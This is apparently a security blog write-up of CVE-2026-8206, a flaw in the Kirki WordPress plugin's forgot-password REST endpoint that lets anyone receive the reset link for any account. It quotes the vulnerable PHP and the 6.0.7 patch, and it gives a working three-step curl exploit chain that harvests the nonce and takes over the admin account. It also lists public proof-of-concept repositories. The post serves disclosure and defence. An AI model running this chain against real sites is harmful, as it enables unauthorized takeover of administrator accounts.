//nefariousplan

CVE-2026-8206: Kirki's Forgot-Password Endpoint Takes the Destination Address as a Form Field

vendor

patterns

cve

proof of concept

Kirki 6.0.0 through 6.0.6 ships a REST endpoint at /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password. The endpoint accepts two security-relevant fields in the same request body. username names the account whose password is being reset. email names the address the reset link is delivered to. The handler resolves the user from username, mints a real WordPress password reset key against that user with get_password_reset_key(), builds the canonical wp-login.php?action=rp&key=<key>&login=<username> URL, and passes it to wp_mail( $email, ... ). The two fields are unrelated. The handler reads them as if they were.

The 6.0.7 patch adds one check: the supplied email must match the user's email-of-record. After the patch, an attacker who already knows the target's email can still call the endpoint and have the reset link re-delivered to that same address. The wire format did not change, because the bundled front-end JavaScript still sends both fields.

The permission_callback returns true. The nonce is the gate.

The REST route is registered in ComponentLibrary/controller/CompLibFormHandler.php:

public function init_rest_api_endpoint( $endpoint, $methods, $callback ) {
    add_action(
        'rest_api_init',
        function () use ( $endpoint, $methods, $callback ) {
            register_rest_route(
                $this->namespace,
                '/' . $endpoint,
                array(
                    array(
                        'methods'             => $methods,
                        'callback'            => $callback,
                        'permission_callback' => array( $this, 'get_item_permissions_check' ),
                        // ...
                    ),
                )
            );
        }
    );
}

public function get_item_permissions_check( $request ) {
    return true;
}

permission_callback is the WordPress REST API's official authorization hook. Returning true declares the route open to any caller. Six endpoints register through init_rest_api_endpoint: kirki-login, kirki-register, kirki-forgot-password, kirki-change-password, kirki-retrieve-username, kirki-comment. All six share this permission_callback. All six are open by REST routing.

The gate moved into each handler as a call to validate_nonce():

public function validate_nonce( $element_name ) {
    $nonce = isset( $_SERVER['HTTP_X_WP_ELEMENT_NONCE'] )
    ? sanitize_text_field( wp_unslash( $_SERVER['HTTP_X_WP_ELEMENT_NONCE'] ) )
    : null;

    if ( ! $nonce ) {
        wp_send_json_error( 'Missing nonce', 400 );
        exit;
    }

    $action = KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '_' . $element_name;

    if ( ! wp_verify_nonce( $nonce, $action ) ) {
        wp_send_json_error( 'Not authorized', 400 );
        exit;
    }
    return true;
}

KIRKI_COMPONENT_LIBRARY_APP_PREFIX is the literal string 'KirkiComponentLibrary'. For the forgot-password endpoint the verified action is 'KirkiComponentLibrary_kirki-forgot-password'.

The nonce that satisfies this check is minted by ElementGenerator::add_nonce_to_element() in the same plugin:

private function add_nonce_to_element( $element ) {
    if ( empty( $element['name'] ) ) {
        return false;
    }
    $action = KIRKI_COMPONENT_LIBRARY_APP_PREFIX . '_' . $element['name'];
    // Always returns consistent nonce for same user + action for ~12 hours.
    return wp_create_nonce( $action );
}

The comment on the return is the developer's own note. wp_create_nonce() for an unauthenticated request mints a nonce against WordPress user ID 0, the anonymous identity. Every anonymous visitor that loads a page rendering the kirki-forgot-password element gets the same nonce, valid for the next twelve hours. The nonce is then serialized into a global JavaScript variable on the page by add_component_library_script() in ComponentLibrary/index.php:

$script = 'var ' . KIRKI_COMPONENT_LIBRARY_APP_PREFIX
       . ' = window.' . KIRKI_COMPONENT_LIBRARY_APP_PREFIX
       . " === undefined? {form: $val, root_url:'" . KIRKI_COMPONENT_LIBRARY_ROOT_URL . "'} : {..."
       . KIRKI_COMPONENT_LIBRARY_APP_PREFIX . ', form:{...(' . KIRKI_COMPONENT_LIBRARY_APP_PREFIX . ".form || {}), ...$val}};";

$val is wp_json_encode( $this->component_lib_forms ). $this->component_lib_forms[$id]['nonce'] is the value returned by add_nonce_to_element(). The page now contains a <script> block ending roughly ..."nonce":"<hex>".... The mass-scanner PoCs read one of nineteen regex variants on the page to extract it.

This is nonce-is-not-auth, in the canonical pattern's recurring shape. The catalog has walked through it on Pix for WooCommerce, midi-Synth, vczapi for Zoom, and three days ago on WP Maps Pro's temp-access endpoint. The shape is constant. A privileged handler with permission_callback => true (or wp_ajax_nopriv_ registration, the AJAX equivalent), a nonce check at the top, no current_user_can() afterwards. The nonce confirms the caller visited the page. The handler reads the visit as identity.

What CVE-2026-8206 adds to the catalog is the privileged action itself.

The handler asks who, and where, separately.

handle_forgot_password in 6.0.6:

public function handle_forgot_password( $request ) {
    $form_data     = $request->get_body_params();
    $transiet_name = $this->validate_nonce( 'kirki-forgot-password' );

    $email    = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
    $username = isset( $form_data['username'] ) ? sanitize_text_field( $form_data['username'] ) : '';

    if ( strlen( $username ) === 0 && isset( $form_data['email'] ) && strlen( $email ) > 0 ) {
        $user = get_user_by( 'email', $email );
        // ... 404 if not found, else $username = $user->user_login ...
    }

    if ( isset( $username ) && strlen( $username ) > 0 ) {
        $user = get_user_by( 'login', $username );

        if ( ! $user ) {
            return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
        }

        $key = get_password_reset_key( $user );
        if ( is_wp_error( $key ) ) {
            return new WP_REST_Response( array( 'message' => $key->get_error_message() ), 500 );
        }

        $url       = HelperFunctions::get_utility_page_url( 'reset_password' );
        $username  = $user->user_login;
        $chip_data = array(
            'username'    => $username,
            'email'       => $email,
            'displayname' => $user->display_name,
            'sitename'    => get_bloginfo( 'name' ),
            'reset_link'  => "$url?action=rp&key=$key&login=" . rawurlencode( $username ),
        );

        // ... build $email_body by substituting chips into the caller's template ...

        $sent = wp_mail( $email, $email_subject, $email_body, $headers );

        if ( $sent ) {
            return new WP_REST_Response( array( 'message' => 'Email sent' ), 200 );
        }
        // ...
    }
}

Two extractions, four lines apart. $email is whatever the caller put in email. $username is whatever the caller put in username. get_user_by( 'login', $username ) looks up the user named by the second. get_password_reset_key( $user ) is the same WordPress core function the canonical wp-login.php?action=lostpassword flow uses. The key it returns is a valid token bound to the resolved user, ready to authenticate a password change. The URL is built against $user->user_login, the canonical username for the resolved account.

Then wp_mail( $email, $email_subject, $email_body, $headers ). The first argument is the destination. The destination is the value the caller put in email. The destination has not, at any point in the function, been compared to anything the resolved user owns.

The chip-template substitution table makes the design intent visible. $chip_data is the substitution map the caller's emailBody template draws from. Five values are populated: username, email, displayname, sitename, reset_link. The developer's mental model is that these are all template values, equally available for the customizable email body. email lives in the chip namespace next to displayname and sitename. From the chip template's perspective there is no difference between them. From wp_mail's perspective the first argument is where the message goes. The same form field feeds both readers.

The full exploit chain against an instance with admin as the WordPress administrator and an attacker who controls [email protected]:

# 1. Harvest the nonce from any page rendering the forgot-password element.
curl -s 'https://target.com/forgot-password/' \
  | grep -oE '"nonce":"[a-f0-9]{8,}"' \
  | head -1
# "nonce":"7a1f3d8b2c"

# 2. POST the nonce in the X-WP-ELEMENT-NONCE header.
#    Send the target username and the attacker's destination address.
curl -s -X POST \
  'https://target.com/wp-json/KirkiComponentLibrary/v1/kirki-forgot-password' \
  -H 'X-WP-ELEMENT-NONCE: 7a1f3d8b2c' \
  --data-urlencode 'username=admin' \
  --data-urlencode '[email protected]' \
  --data-urlencode 'emailSubject=Password Reset' \
  --data-urlencode 'emailBody=[{"type":"text","value":"Click to reset: "},{"type":"chip","value":"reset_link"}]'
# {"message":"Email sent"}

# 3. Check [email protected]. A WordPress reset URL bound to the admin
#    account is waiting:
#    https://target.com/wp-login.php?action=rp&key=<key>&login=admin

The reset URL works because get_password_reset_key() minted it through WordPress core's own primitive. Browsing to it lands on the standard WordPress password-reset form. Entering a new password completes the takeover.

The patch admits the design

The 6.0.7 diff against handle_forgot_password:

         if ( ! $user ) {
             return new WP_REST_Response( array( 'message' => 'User not found' ), 404 );
         }

+        $user_email = $user->get( 'user_email' );
+        if($email !== $user_email) {
+            $response = array(
+                'message' => 'Invalid email address',
+            );
+            return new WP_REST_Response( $response, 404 );
+        }
+        $email = $user_email;
+
         $key = get_password_reset_key( $user );

The patch fetches the user's registered email and demands the caller-supplied email match. On mismatch the handler returns 404. On match it overrides $email with $user_email as defense in depth, in case anything downstream still trusts the form input. The subsequent wp_mail( $email, ... ) is now guaranteed to deliver to the user's email-of-record.

The patch closes the exploit. It does not close the design.

After the patch, the caller still POSTs email=... to the endpoint. The endpoint still reads it. The endpoint then asks whether the caller already knows the answer. If yes, the endpoint sends the reset link to the address the caller specified, which is the same address the endpoint would have sent it to if the parameter had been omitted entirely. The parameter is now a confirmation echo. The vendor could have removed it; doing so would have changed the wire format the bundled editor.min.js ships, and the front-end was not changed in this release.

The same patched file leaves get_item_permissions_check() returning true. The same patched file leaves the other five endpoints (kirki-login, kirki-register, kirki-change-password, kirki-retrieve-username, kirki-comment) gated solely by validate_nonce(). The patch reaches into one handler.

handle_retrieve_username is the same shape on a different sink. The caller submits an email, the handler looks up the user with that email, the handler renders a username back into an email body with the same chip-template mechanism, and the handler sends that email to the same caller-supplied address. Here the destination of the reply happens to equal the lookup key, so the trust boundary holds by coincidence rather than design: the attacker can only confirm the username for an email they already own. The 6.0.7 patch did not touch this handler. The pattern is identical to the forgot-password handler. The only thing keeping handle_retrieve_username safe is that the developer happened to want to send the response back to the field they already had.

The plugin slug is older than the codebase

Kirki was, until Kirki 6.0.0, a different product. The plugin's WordPress.org readme through version 5.2.3 names it the "Kirki Customizer Framework," a developer toolkit for theme customizer controls. Five-point releases shipped sliders, font pickers, and color controls. There were no REST endpoints. There was no ComponentLibrary directory. There was no login flow.

The 6.0.0 changelog narrates the change. It announces "a fully freeform visual website builder" on "an infinite canvas with no layout restrictions" and notes, in the same entry, that the release "rebranded from Droip to Kirki" and that "the Customizer framework and the visual builder are now unified under one product." Themeum, the vendor that owns the kirki plugin slug, took the freeform builder previously sold as Droip and shipped it under the established Kirki slug. Site owners running Kirki 5.x for its customizer features auto-upgraded to a different codebase. The 500,000+ active installations the WordPress.org plugin directory currently lists for Kirki are inherited install trust from the customizer-framework era, now running the rebuilt builder.

The 6.0.7 changelog lists, among unrelated fixes, three security advisories:

  • Fix: Unauthenticated Limited Arbitrary File Read and Deletion via downloadZIP
  • Fix: Missing Authorization to Authenticated (Subscriber+) Sensitive Form Submission Data Exposure via 'kirki_wp_admin_get_apis' Action Description
  • Fix: Unauthenticated Privilege Escalation via 'handle_forgot_password'

The forgot-password handler is the third. The pattern of permission_callback => true and in-handler nonce-validation is not unique to that handler. It is the architectural choice of the entire rebuilt module, shipped through a plugin slug that pre-dates it. This is trust-inversion at the install-base layer: the slug an admin trusted in 2018 for a typography control is now serving a freeform builder with six unauthenticated REST endpoints.

A password reset endpoint that takes the destination as an input is not a password reset endpoint. It is a credential delivery service. The patch closes the chain by requiring the caller to know the user's email before the service will deliver. The endpoint still takes the destination as an input.

PoCs: O99099O/CVE-2026-8206-Poc-, Jenderal92/CVE-2026-8206

The patch closes the chain by requiring the caller to know the user's email before the service will deliver. The endpoint still takes the destination as an input.